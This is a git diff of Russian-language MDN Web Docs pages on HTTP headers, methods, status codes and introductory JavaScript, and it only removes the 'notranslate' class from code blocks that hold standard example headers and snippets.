b/files/ru/web/http/headers/accept-patch/index.html @@ -37,7 +37,7 @@ original_slug: Web/HTTP/Заголовки/Accept-Patch <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">Accept-Patch: application/example, text/example +<pre class="syntaxbox">Accept-Patch: application/example, text/example Accept-Patch: text/example;charset=utf-8 Accept-Patch: application/merge-patch+json </pre> @@ -48,7 +48,7 @@ Accept-Patch: application/merge-patch+json <h2 id="Примеры">Примеры</h2> -<pre class="syntaxbox notranslate">Accept-Patch: application/example, text/example +<pre class="syntaxbox">Accept-Patch: application/example, text/example Accept-Patch: text/example;charset=utf-8 diff --git a/files/ru/web/http/headers/accept-ranges/index.html b/files/ru/web/http/headers/accept-ranges/index.html index 1fa42401f6..8999e94252 100644 --- a/files/ru/web/http/headers/accept-ranges/index.html +++ b/files/ru/web/http/headers/accept-ranges/index.html @@ -29,7 +29,7 @@ original_slug: Web/HTTP/Заголовки/Accept-Ranges <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">Accept-Ranges: bytes +<pre class="syntaxbox">Accept-Ranges: bytes Accept-Ranges: none</pre> <h2 id="Указания">Указания</h2> @@ -45,7 +45,7 @@ Accept-Ranges: none</pre> <h2 id="Примеры">Примеры</h2> -<pre class="notranslate">Accept-Ranges: bytes +<pre>Accept-Ranges: bytes </pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/http/headers/accept/index.html b/files/ru/web/http/headers/accept/index.html index fe6c26b8a0..9be1f22eeb 100644 --- a/files/ru/web/http/headers/accept/index.html +++ b/files/ru/web/http/headers/accept/index.html @@ -31,7 +31,7 @@ original_slug: Web/HTTP/Заголовки/Accept <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">Accept: <MIME_type>/<MIME_subtype> +<pre class="syntaxbox">Accept: <MIME_type>/<MIME_subtype> Accept: <MIME_type>/* Accept: */* @@ -53,7 +53,7 @@ Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8</pre> <h2 id="Примеры">Примеры</h2> -<pre class="notranslate">Accept: text/html +<pre>Accept: text/html Accept: image/* diff --git a/files/ru/web/http/headers/access-control-allow-origin/index.html b/files/ru/web/http/headers/access-control-allow-origin/index.html index a13dd40f06..2ca8fd6ae7 100644 --- a/files/ru/web/http/headers/access-control-allow-origin/index.html +++ b/files/ru/web/http/headers/access-control-allow-origin/index.html @@ -23,7 +23,7 @@ original_slug: Web/HTTP/Заголовки/Access-Control-Allow-Origin <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">Access-Control-Allow-Origin: * +<pre class="syntaxbox">Access-Control-Allow-Origin: * Access-Control-Allow-Origin: <origin> Access-Control-Allow-Origin: null </pre> @@ -45,11 +45,11 @@ Access-Control-Allow-Origin: null <p>Ответ, который указывает браузеру разрешить доступ к ресурсу из любого источника:</p> -<pre class="notranslate">Access-Control-Allow-Origin: *</pre> +<pre>Access-Control-Allow-Origin: *</pre> <p>Ответ, который указывает браузеру разрешить доступ к ресурсу только из источника <code>https://developer.mozilla.org</code>:</p> -<pre class="notranslate">Access-Control-Allow-Origin: https://developer.mozilla.org</pre> +<pre>Access-Control-Allow-Origin: https://developer.mozilla.org</pre> <p>Чтобы ограничить <code>Access-Control-Allow-Origin</code> разрешённым набором значений, необходимо реализовать логику на стороне сервера для проверки значения заголовка {{HTTPHeader("Origin")}} запроса, сравнить его с разрешённым списком источников, а затем, если значение {{HTTPHeader("Origin")}} присутствует в списке, задать значение <code>Access-Control-Allow-Origin</code>, равное значению {{HTTPHeader("Origin")}}.</p> @@ -57,7 +57,7 @@ Access-Control-Allow-Origin: null <p>Если сервер послал ответ со значением <code>Access-Control-Allow-Origin</code>, которое содержит явное указание источника (а не шаблонное значение "<code>*</code>"), тогда ответ также должен включать в себя заголовок {{HTTPHeader("Vary")}} со значением <code>Origin</code> — чтобы указать браузеру, что ответы с сервера могут отличаться в зависимости от заголовка запроса <code>Origin</code>.</p> -<pre class="notranslate">Access-Control-Allow-Origin: https://developer.mozilla.org +<pre>Access-Control-Allow-Origin: https://developer.mozilla.org Vary: Origin</pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/http/headers/authorization/index.html b/files/ru/web/http/headers/authorization/index.html index 04e65d2079..d8a93de1f6 100644 --- a/files/ru/web/http/headers/authorization/index.html +++ b/files/ru/web/http/headers/authorization/index.html @@ -28,7 +28,7 @@ original_slug: Web/HTTP/Заголовки/Authorization <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">Authorization: <тип> <данные пользователя></pre> +<pre class="syntaxbox">Authorization: <тип> <данные пользователя></pre> <h2 id="Директивы">Директивы</h2> @@ -55,7 +55,7 @@ original_slug: Web/HTTP/Заголовки/Authorization <h2 id="Примеры">Примеры</h2> -<pre class="notranslate">Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l +<pre>Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l </pre> <p>Смотрите также <a href="/ru/docs/Web/HTTP/Authorization">HTTP авторизацию</a> для примеров конфигураций веб-серверов Apache или nginx с защитой вашего сайта паролем с Базовой HTTP авторизацией.</p> diff --git a/files/ru/web/http/headers/connection/index.html b/files/ru/web/http/headers/connection/index.html index 5bf2f5ad82..935d9c1e98 100644 --- a/files/ru/web/http/headers/connection/index.html +++ b/files/ru/web/http/headers/connection/index.html @@ -34,7 +34,7 @@ original_slug: Web/HTTP/Заголовки/Connection <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">Connection: keep-alive +<pre class="syntaxbox">Connection: keep-alive Connection: close </pre> diff --git a/files/ru/web/http/headers/content-length/index.html b/files/ru/web/http/headers/content-length/index.html index 0fd6d9ff77..919fc20b0c 100644 --- a/files/ru/web/http/headers/content-length/index.html +++ b/files/ru/web/http/headers/content-length/index.html @@ -30,7 +30,7 @@ original_slug: Web/HTTP/Заголовки/Content-Length <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">Content-Length: <длина> +<pre class="syntaxbox">Content-Length: <длина> </pre> <h2 id="Директивы">Директивы</h2> diff --git a/files/ru/web/http/headers/content-type/index.html b/files/ru/web/http/headers/content-type/index.html index 7096fe0fa1..7c194e6224 100644 --- a/files/ru/web/http/headers/content-type/index.html +++ b/files/ru/web/http/headers/content-type/index.html @@ -31,7 +31,7 @@ original_slug: Web/HTTP/Заголовки/Content-Type <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">Content-Type: text/html; charset=utf-8 +<pre class="syntaxbox">Content-Type: text/html; charset=utf-8 Content-Type: multipart/form-data; boundary=something </pre> @@ -52,7 +52,7 @@ Content-Type: multipart/form-data; boundary=something <p>В {{HTTPMethod("POST")}} запросе, сгенерированном в результате отправки HTML формы, <code>Content-Type</code> запроса определяется в атрибуте <code>enctype</code> тега {{HTMLElement("form")}}.</p> -<pre class="brush: html notranslate"><form action="/" method="post" enctype="multipart/form-data"> +<pre class="brush: html"><form action="/" method="post" enctype="multipart/form-data"> <input type="text" name="description" value="some text"> <input type="file" name="myFile"> <button type="submit">Submit</button> @@ -61,7 +61,7 @@ Content-Type: multipart/form-data; boundary=something <p>Запрос в этом случае может выглядеть так (менее интересные заголовки опущены):</p> -<pre class="notranslate">POST /foo HTTP/1.1 +<pre>POST /foo HTTP/1.1 Content-Length: 68137 Content-Type: multipart/form-data; boundary=---------------------------974767299852498929531610575 diff --git a/files/ru/web/http/headers/date/index.html b/files/ru/web/http/headers/date/index.html index bfd7a52acc..a91717006a 100644 --- a/files/ru/web/http/headers/date/index.html +++ b/files/ru/web/http/headers/date/index.html @@ -28,7 +28,7 @@ original_slug: Web/HTTP/Заголовки/Date <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">Date: <day-name>, <day> <month> <year> <hour>:<minute>:<second> GMT +<pre class="syntaxbox">Date: <day-name>, <day> <month> <year> <hour>:<minute>:<second> GMT </pre> <h2 id="Директивы">Директивы</h2> @@ -56,7 +56,7 @@ original_slug: Web/HTTP/Заголовки/Date <h2 id="Примеры">Примеры</h2> -<pre class="notranslate">Date: Wed, 21 Oct 2015 07:28:00 GMT +<pre>Date: Wed, 21 Oct 2015 07:28:00 GMT </pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/http/headers/expires/index.html b/files/ru/web/http/headers/expires/index.html index 825f586182..9a9756aeb9 100644 --- a/files/ru/web/http/headers/expires/index.html +++ b/files/ru/web/http/headers/expires/index.html @@ -36,7 +36,7 @@ original_slug: Web/HTTP/Заголовки/Expires <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">Expires: <http-date> +<pre class="syntaxbox">Expires: <http-date> </pre> <h2 id="Директивы">Директивы</h2> @@ -50,7 +50,7 @@ original_slug: Web/HTTP/Заголовки/Expires <h2 id="Примеры">Примеры</h2> -<pre class="notranslate">Expires: Wed, 21 Oct 2015 07:28:00 GMT</pre> +<pre>Expires: Wed, 21 Oct 2015 07:28:00 GMT</pre> <h2 id="Спецификация">Спецификация</h2> diff --git a/files/ru/web/http/headers/set-cookie/index.html b/files/ru/web/http/headers/set-cookie/index.html index 20e2bee4e4..03fab68b3b 100644 --- a/files/ru/web/http/headers/set-cookie/index.html +++ b/files/ru/web/http/headers/set-cookie/index.html @@ -26,7 +26,7 @@ original_slug: Web/HTTP/Заголовки/Set-Cookie <h2 id="Синтаксис">Синтаксис</h2> -<pre class="notranslate">Set-Cookie: <cookie-name>=<cookie-value> +<pre>Set-Cookie: <cookie-name>=<cookie-value> Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date> Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit> Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value> @@ -120,26 +120,26 @@ Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value> <p>Сессионные cookies будут удалены после отключения клиента. В них не указываются директивы <code>Expires</code> или <code>Max-Age</code>. Учитывайте, что часто в браузере включено восстановление сессии.</p> -<pre class="notranslate">Set-Cookie: sessionid=38afes7a8; HttpOnly; Path=/</pre> +<pre>Set-Cookie: sessionid=38afes7a8; HttpOnly; Path=/</pre> <h3 id="Постоянный_cookie">Постоянный cookie</h3> <p>Вместо истечения срока действия, когда клиент закрыт, срок действия постоянных файлов cookie истекает в определённую дату (<code>Expires</code>) или по истечении определённого промежутка времени (<code>Max-Age</code>).</p> -<pre class="notranslate">Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly +<pre>Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly </pre> <h3 id="Неверные_домены">Неверные домены</h3> <p>Файл cookie, принадлежащий домену, который не включает исходный сервер, <a href="https://tools.ietf.org/html/rfc6265#section-4.1.2.3">должен быть отклонён пользовательским</a>. Следующий cookie будет отклонён, если он был установлен сервером, размещённым на originalcompany.com.</p> -<pre class="notranslate">Set-Cookie: qwerty=219ffwef9w0f; Domain=somecompany.co.uk; Path=/; Expires=Wed, 30 Aug 2019 00:00:00 GMT</pre> +<pre>Set-Cookie: qwerty=219ffwef9w0f; Domain=somecompany.co.uk; Path=/; Expires=Wed, 30 Aug 2019 00:00:00 GMT</pre> <h3 id="Cookie_prefixes">Cookie prefixes</h3> <p>Cookies names with the prefixes <code>__Secure-</code> and <code>__Host-</code> can be used only if they are set with the <code>secure</code> directive from a secure (HTTPS) origin. In addition, cookies with the <code>__Host-</code> prefix must have a path of "/" (the entire host) and must not have a domain attribute. For clients that don't implement cookie prefixes, you cannot count on having these additional assurances and the cookies will always be accepted.</p> -<pre class="notranslate">// Both accepted when from a secure origin (HTTPS) +<pre>// Both accepted when from a secure origin (HTTPS) Set-Cookie: __Secure-ID=123; Secure; Domain=example.com Set-Cookie: __Host-ID=123; Secure; Path=/ diff --git a/files/ru/web/http/headers/strict-transport-security/index.html b/files/ru/web/http/headers/strict-transport-security/index.html index 4ade62c5dd..35835a88e8 100644 --- a/files/ru/web/http/headers/strict-transport-security/index.html +++ b/files/ru/web/http/headers/strict-transport-security/index.html @@ -23,7 +23,7 @@ original_slug: Web/HTTP/Заголовки/Strict-Transport-Security <h2 id="Syntax">Syntax</h2> -<pre class="syntaxbox notranslate">Strict-Transport-Security: max-age=<expire-time> +<pre class="syntaxbox">Strict-Transport-Security: max-age=<expire-time> Strict-Transport-Security: max-age=<expire-time>; includeSubDomains Strict-Transport-Security: max-age=<expire-time>; preload </pre> @@ -74,7 +74,7 @@ Strict-Transport-Security: max-age=<expire-time>; preload <p>Все текущие и будущие субдомены будут HTTPS по max-age на 1 год. Это блокирует доступ к страницам или субдоменам, которые могут быть доступны только по HTTP.</p> -<pre class="notranslate">Strict-Transport-Security: max-age=31536000; includeSubDomains</pre> +<pre>Strict-Transport-Security: max-age=31536000; includeSubDomains</pre> <h2 id="Specifications">Specifications</h2> diff --git a/files/ru/web/http/methods/connect/index.html b/files/ru/web/http/methods/connect/index.html index 65ab7c1889..c38ecb940d 100644 --- a/files/ru/web/http/methods/connect/index.html +++ b/files/ru/web/http/methods/connect/index.html @@ -42,14 +42,14 @@ translation_of: Web/HTTP/Methods/CONNECT <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">CONNECT www.example.com:443 HTTP/1.1 +<pre class="syntaxbox">CONNECT www.example.com:443 HTTP/1.1 </pre> <h2 id="Пример">Пример</h2> <p>Некоторые прокси сервера могут запросить авторизацию для создания туннеля. Смотрите также {{HTTPHeader("Proxy-Authorization")}}.</p> -<pre class="line-numbers language-html notranslate">CONNECT server.example.com:80 HTTP/1.1 +<pre class="line-numbers language-html">CONNECT server.example.com:80 HTTP/1.1 Host: server.example.com:80 Proxy-Authorization: basic aGVsbG86d29ybGQ=</pre> diff --git a/files/ru/web/http/methods/patch/index.html b/files/ru/web/http/methods/patch/index.html index 06700f5653..9cd49d35d4 100644 --- a/files/ru/web/http/methods/patch/index.html +++ b/files/ru/web/http/methods/patch/index.html @@ -53,14 +53,14 @@ translation_of: Web/HTTP/Methods/PATCH <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">PATCH /file.txt HTTP/1.1 +<pre class="syntaxbox">PATCH /file.txt HTTP/1.1 </pre> <h2 id="Пример">Пример</h2> <h3 id="Запрос">Запрос</h3> -<pre class="line-numbers language-html notranslate">PATCH /file.txt HTTP/1.1 +<pre class="line-numbers language-html">PATCH /file.txt HTTP/1.1 Host: www.example.com Content-Type: application/example If-Match: "e0023aa4e" @@ -72,7 +72,7 @@ Content-Length: 100 <p>Успешный ответ указывается с помощью кода ответа {{HTTPStatus("204")}}, поскольку ответ в примере не содержит тела сообщения. А если бы содержал, то код был бы {{HTTPStatus("200")}}.</p> -<pre class="newpage notranslate">HTTP/1.1 204 No Content +<pre class="newpage">HTTP/1.1 204 No Content Content-Location: /file.txt ETag: "e0023aa4f"</pre> diff --git a/files/ru/web/http/overview/index.html b/files/ru/web/http/overview/index.html index 8b35300ebd..53d83362ab 100644 --- a/files/ru/web/http/overview/index.html +++ b/files/ru/web/http/overview/index.html @@ -106,12 +106,12 @@ translation_of: Web/HTTP/Overview <ol> <li>Открытие TCP соединения: TCP-соединение будет использоваться для отправки запроса (или запросов) и получения ответа. Клиент может открыть новое соединение, переиспользовать существующее или открыть несколько TCP-соединений к серверу.</li> <li>Отправка HTTP-сообщения: HTTP-сообщения (до HTTP/2) являются человекочитаемыми. Начиная с HTTP/2, простые сообщения инкапсулируются во фреймы, делая невозможным их чтение напрямую, но принципиально остаются такими же. - <pre class="line-numbers language-html notranslate"><code class="language-html">GET / HTTP/1.1 + <pre class="line-numbers language-html"><code class="language-html">GET / HTTP/1.1 Host: developer.mozilla.org Accept-Language: fr</code></pre> </li> <li>Читает ответ от сервера: - <pre class="line-numbers language-html notranslate"><code class="language-html">HTTP/1.1 200 OK + <pre class="line-numbers language-html"><code class="language-html">HTTP/1.1 200 OK Date: Sat, 09 Oct 2010 14:28:02 GMT Server: Apache Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT diff --git a/files/ru/web/http/status/301/index.html b/files/ru/web/http/status/301/index.html index b96ed33889..c49682e9a8 100644 --- a/files/ru/web/http/status/301/index.html +++ b/files/ru/web/http/status/301/index.html @@ -15,18 +15,18 @@ translation_of: Web/HTTP/Status/301 <h2 id="Статус">Статус</h2> -<pre class="syntaxbox notranslate">301 Moved Permanently</pre> +<pre class="syntaxbox">301 Moved Permanently</pre> <h2 id="Пример">Пример</h2> <h3 id="Запрос_клиента">Запрос клиента</h3> -<pre class="notranslate">GET /index.php HTTP/1.1 +<pre>GET /index.php HTTP/1.1 Host: www.example.org</pre> <h3 id="Ответ_сервера">Ответ сервера</h3> -<pre class="notranslate">HTTP/1.1 301 Moved Permanently +<pre>HTTP/1.1 301 Moved Permanently Location: http://www.example.org/index.asp</pre> <h2 id="Характеристики">Характеристики</h2> diff --git a/files/ru/web/http/status/307/index.html b/files/ru/web/http/status/307/index.html index 9e42dd15ea..cf1233a97a 100644 --- a/files/ru/web/http/status/307/index.html +++ b/files/ru/web/http/status/307/index.html @@ -17,20 +17,20 @@ translation_of: Web/HTTP/Status/307 <h2 id="Статус">Статус</h2> -<pre class="syntaxbox notranslate">307 Temporary Redirect +<pre class="syntaxbox">307 Temporary Redirect </pre> <h2 id="Пример">Пример</h2> <h3 id="Запрос_клиента">Запрос клиента</h3> -<pre class="syntaxbox notranslate">DELETE /cars/oldest HTTP/1.1 +<pre class="syntaxbox">DELETE /cars/oldest HTTP/1.1 Host: www.example.org </pre> <h3 id="Ответ_сервера">Ответ сервера</h3> -<pre class="syntaxbox notranslate">HTTP/1.1 307 Temporary Redirect +<pre class="syntaxbox">HTTP/1.1 307 Temporary Redirect Location: http://www.example.org/cars/id/123456 </pre> diff --git a/files/ru/web/http/status/400/index.html b/files/ru/web/http/status/400/index.html index 14939c0e29..96c5de6e73 100644 --- a/files/ru/web/http/status/400/index.html +++ b/files/ru/web/http/status/400/index.html @@ -9,7 +9,7 @@ translation_of: Web/HTTP/Status/400 <h2 id="Статус">Статус</h2> -<pre class="syntaxbox notranslate">400 Bad Request </pre> +<pre class="syntaxbox">400 Bad Request </pre> <h2 id="Характеристики">Характеристики</h2> diff --git a/files/ru/web/http/status/401/index.html b/files/ru/web/http/status/401/index.html index e9312bc330..cd194a7fbf 100644 --- a/files/ru/web/http/status/401/index.html +++ b/files/ru/web/http/status/401/index.html @@ -13,11 +13,11 @@ translation_of: Web/HTTP/Status/401 <h2 id="Статус">Статус</h2> -<pre class="syntaxbox notranslate">401 Unauthorized</pre> +<pre class="syntaxbox">401 Unauthorized</pre> <h2 id="Пример_ответа">Пример ответа</h2> -<pre class="notranslate">HTTP/1.1 401 Unauthorized +<pre>HTTP/1.1 401 Unauthorized Date: Wed, 21 Oct 2015 07:28:00 GMT WWW-Authenticate: Basic realm="Access to staging site"</pre> diff --git a/files/ru/web/http/status/403/index.html b/files/ru/web/http/status/403/index.html index a1972dac7a..d3b66c5d52 100644 --- a/files/ru/web/http/status/403/index.html +++ b/files/ru/web/http/status/403/index.html @@ -11,11 +11,11 @@ translation_of: Web/HTTP/Status/403 <h2 id="Статус">Статус</h2> -<pre class="syntaxbox notranslate">403 Forbidden</pre> +<pre class="syntaxbox">403 Forbidden</pre> <h2 id="Пример_ответа">Пример ответа</h2> -<pre class="notranslate">HTTP/1.1 403 Forbidden +<pre>HTTP/1.1 403 Forbidden Date: Wed, 21 Oct 2015 07:28:00 GMT </pre> diff --git a/files/ru/web/http/status/404/index.html b/files/ru/web/http/status/404/index.html index 874c7c8284..206157642d 100644 --- a/files/ru/web/http/status/404/index.html +++ b/files/ru/web/http/status/404/index.html @@ -11,13 +11,13 @@ translation_of: Web/HTTP/Status/404 <h2 id="Статус">Статус</h2> -<pre class="syntaxbox notranslate">404 Not Found</pre> +<pre class="syntaxbox">404 Not Found</pre> <h2 id="Пользовательские_страницы_ошибок">Пользовательские страницы ошибок</h2> <p>Многие веб-сайты настраивают внешний вид страницы 404, чтобы быть более полезными для пользователя и давать рекомендации. Серверы Apache могут быть настроены с использованием файла <strong>.htaccess</strong> и фрагмента кода, например, такого, как этот.</p> -<pre class="brush: bash notranslate">ErrorDocument 404 /notfound.html</pre> +<pre class="brush: bash">ErrorDocument 404 /notfound.html</pre> <p>Вы можете взять <a href="https://developer.mozilla.org/en-US/404">MDN's 404 page</a> в качестве вдохновения.</p> diff --git a/files/ru/web/http/status/405/index.html b/files/ru/web/http/status/405/index.html index 8259e60b6d..07abd56576 100644 --- a/files/ru/web/http/status/405/index.html +++ b/files/ru/web/http/status/405/index.html @@ -11,7 +11,7 @@ translation_of: Web/HTTP/Status/405 <h2 id="Статус">Статус</h2> -<pre class="syntaxbox notranslate">405 Method Not Allowed</pre> +<pre class="syntaxbox">405 Method Not Allowed</pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/http/status/408/index.html b/files/ru/web/http/status/408/index.html index d7950cd91c..064ac1c8df 100644 --- a/files/ru/web/http/status/408/index.html +++ b/files/ru/web/http/status/408/index.html @@ -13,7 +13,7 @@ translation_of: Web/HTTP/Status/408 <h2 id="Статус">Статус</h2> -<pre class="syntaxbox notranslate">408 Request Timeout</pre> +<pre class="syntaxbox">408 Request Timeout</pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/http/status/425/index.html b/files/ru/web/http/status/425/index.html index 6489e40b2b..3143b562b2 100644 --- a/files/ru/web/http/status/425/index.html +++ b/files/ru/web/http/status/425/index.html @@ -14,7 +14,7 @@ translation_of: Web/HTTP/Status/425 <h2 id="Статус">Статус</h2> -<pre class="syntaxbox notranslate">425 Too Early</pre> +<pre class="syntaxbox">425 Too Early</pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/http/status/429/index.html b/files/ru/web/http/status/429/index.html index 33984a0b41..82b02e0e60 100644 --- a/files/ru/web/http/status/429/index.html +++ b/files/ru/web/http/status/429/index.html @@ -11,11 +11,11 @@ translation_of: Web/HTTP/Status/429 <h2 id="Статус">Статус</h2> -<pre class="syntaxbox notranslate">429 Too Many Requests</pre> +<pre class="syntaxbox">429 Too Many Requests</pre> <h2 id="Пример">Пример</h2> -<pre class="notranslate">HTTP/1.1 429 Too Many Requests +<pre>HTTP/1.1 429 Too Many Requests Content-Type: text/html Retry-After: 3600</pre> diff --git a/files/ru/web/http/status/500/index.html b/files/ru/web/http/status/500/index.html index a722882efc..f676e573e0 100644 --- a/files/ru/web/http/status/500/index.html +++ b/files/ru/web/http/status/500/index.html @@ -15,7 +15,7 @@ translation_of: Web/HTTP/Status/500 <h2 id="Статус">Статус</h2> -<pre class="syntaxbox notranslate">500 Internal Server Error (Внутренняя ошибка сервера)</pre> +<pre class="syntaxbox">500 Internal Server Error (Внутренняя ошибка сервера)</pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/http/status/502/index.html b/files/ru/web/http/status/502/index.html index ad3d25909f..4984b27142 100644 --- a/files/ru/web/http/status/502/index.html +++ b/files/ru/web/http/status/502/index.html @@ -16,7 +16,7 @@ translation_of: Web/HTTP/Status/502 <h2 id="Статус">Статус</h2> -<pre class="syntaxbox notranslate">502 Bad Gateway</pre> +<pre class="syntaxbox">502 Bad Gateway</pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/http/status/503/index.html b/files/ru/web/http/status/503/index.html index c8a6882b34..4f70ede335 100644 --- a/files/ru/web/http/status/503/index.html +++ b/files/ru/web/http/status/503/index.html @@ -13,7 +13,7 @@ translation_of: Web/HTTP/Status/503 <h2 id="Статус">Статус</h2> -<pre class="syntaxbox notranslate">503 Service Unavailable</pre> +<pre class="syntaxbox">503 Service Unavailable</pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/javascript/a_re-introduction_to_javascript/index.html b/files/ru/web/javascript/a_re-introduction_to_javascript/index.html index 7a93230090..617f628f8a 100644 --- a/files/ru/web/javascript/a_re-introduction_to_javascript/index.html +++ b/files/ru/web/javascript/a_re-introduction_to_javascript/index.html @@ -57,26 +57,26 @@ translation_of: Web/JavaScript/A_re-introduction_to_JavaScript <p>Числа в JavaScript — это "64-битные значения двойной точности формата IEEE 754", согласно спецификации. Это имеет интересные последствия. В JavaScript нет такой вещи, как целое число, поэтому с арифметикой нужно быть начеку, если вы привыкли к вычислениям в языках C или Java. Взгляните на пример:</p> -<pre class="brush: js notranslate">0.1 + 0.2 == 0.30000000000000004 +<pre class="brush: js">0.1 + 0.2 == 0.30000000000000004 </pre> <p>На практике целые значения это 32-битные целые (и хранятся таким образом в некоторых браузерных реализациях), что может быть важно для побитовых операций.</p> <p>Поддерживаются стандартные <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators" title="en/Core_JavaScript_1.5_Reference/Operators/Arithmetic_Operators">арифметические операторы</a>, включая сложение, вычитание, остаток от деления и т.д. Есть ещё встроенный объект, который я забыл упомянуть, называемый <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Math" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Math">Math</a>, который содержит более продвинутые математические функции и константы:</p> -<pre class="brush: js notranslate">Math.sin(3.5); +<pre class="brush: js">Math.sin(3.5); var circumference = Math.PI * (r + r); </pre> <p>Вы можете преобразовать строку в целое число, используя встроенную функцию <code><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/parseInt" title="en/Core_JavaScript_1.5_Reference/Global_Functions/parseInt">parseInt()</a></code>. Её необязательный второй параметр — основание системы счисления, которое следует всегда явно указывать:</p> -<pre class="brush: js notranslate">parseInt("123", 10); // 123 +<pre class="brush: js">parseInt("123", 10); // 123 parseInt("010", 10); // 10 </pre> <p>Если вы не предоставите основание, то можете получить неожиданные результаты:</p> -<pre class="brush: js notranslate">parseInt("010"); // 8 +<pre class="brush: js">parseInt("010"); // 8 parseInt("0x10"); // 16 </pre> @@ -84,41 +84,41 @@ parseInt("0x10"); // 16 <p>Если хотите преобразовать двоичное число в десятичное целое, просто смените основание:</p> -<pre class="brush: js notranslate">parseInt("11", 2); // 3 +<pre class="brush: js">parseInt("11", 2); // 3 </pre> <p>Вы можете аналогично парсить дробные числа, используя встроенную функцию <code><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/parseFloat" title="en/JavaScript/Reference/Global Objects/parseFloat">parseFloat()</a></code>, которая использует всегда основание 10 в отличие от родственной <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/parseInt" title="en/JavaScript/Reference/Global Objects/parseInt"><code>parseInt()</code></a>.</p> <p>Также можно использовать унарный оператор <strong><code>+</code></strong> для преобразования значения в число:</p> -<pre class="brush: js notranslate">+ "42"; // 42 +<pre class="brush: js">+ "42"; // 42 + "0x10"; // 16 </pre> <p>Специальное значение <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/NaN">NaN</a> (сокращение от "Not a Number") возвращается, если строка не является числом:</p> -<pre class="brush: js notranslate">parseInt("hello", 10); // NaN +<pre class="brush: js">parseInt("hello", 10); // NaN </pre> <p><code>NaN</code> "заразителен": любая математическая операция над <code>NaN</code> возвращает <code>NaN</code>:</p> -<pre class="brush: js notranslate">NaN + 5; // NaN +<pre class="brush: js">NaN + 5; // NaN </pre> <p>Проверить значение на <code>NaN</code> можно встроенной функцией <code><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/isNaN" title="en/Core_JavaScript_1.5_Reference/Global_Functions/isNaN">isNaN()</a></code>:</p> -<pre class="brush: js notranslate">isNaN(NaN); // true +<pre class="brush: js">isNaN(NaN); // true </pre> <p>JavaScript также имеет специальные значения <code><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Infinity" title="en/Core_JavaScript_1.5_Reference/Global_Properties/Infinity">Infinity</a></code> (бесконечность) и<code> -Infinity</code>:</p> -<pre class="brush: js notranslate">1 / 0; // Infinity +<pre class="brush: js">1 / 0; // Infinity -1 / 0; // -Infinity </pre> <p>Проверить значение на <code>Infinity</code>, <code>-Infinity</code> и <code>NaN</code> можно с помощью встроенной функции <code><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/isFinite" title="en/Core_JavaScript_1.5_Reference/Global_Functions/isFinite">isFinite()</a></code>:</p> -<pre class="brush: js notranslate">isFinite(1/0); // false +<pre class="brush: js">isFinite(1/0); // false isFinite(-Infinity); // false isFinite(NaN); // false </pre> @@ -133,12 +133,12 @@ isFinite(NaN); // false <p>Чтобы выяснить длину строки (в кодовых единицах), используйте свойство <code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/String/length" title="en/Core_JavaScript_1.5_Reference/Global_Objects/String/length">length</a></code>:</p> -<pre class="brush: js notranslate">"hello".length; // 5 +<pre class="brush: js">"hello".length; // 5 </pre> <p>Это уже первый шаг для работы с объектами! Мы уже говорили, что и строки можно использовать как объекты? У них тоже есть <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/String" title="en/Core_JavaScript_1.5_Reference/Global_Objects/String#Methods">методы</a>:</p> -<pre class="brush: js notranslate">"hello".charAt(0); // h +<pre class="brush: js">"hello".charAt(0); // h "hello, world".replace("hello", "goodbye"); // goodbye, world "hello".toUpperCase(); // HELLO </pre> @@ -156,7 +156,7 @@ isFinite(NaN); // false <p>Преобразование значений можно осуществить явно, используя функцию <code>Boolean()</code>:</p> -<pre class="brush: js notranslate">Boolean(""); // false +<pre class="brush: js">Boolean(""); // false 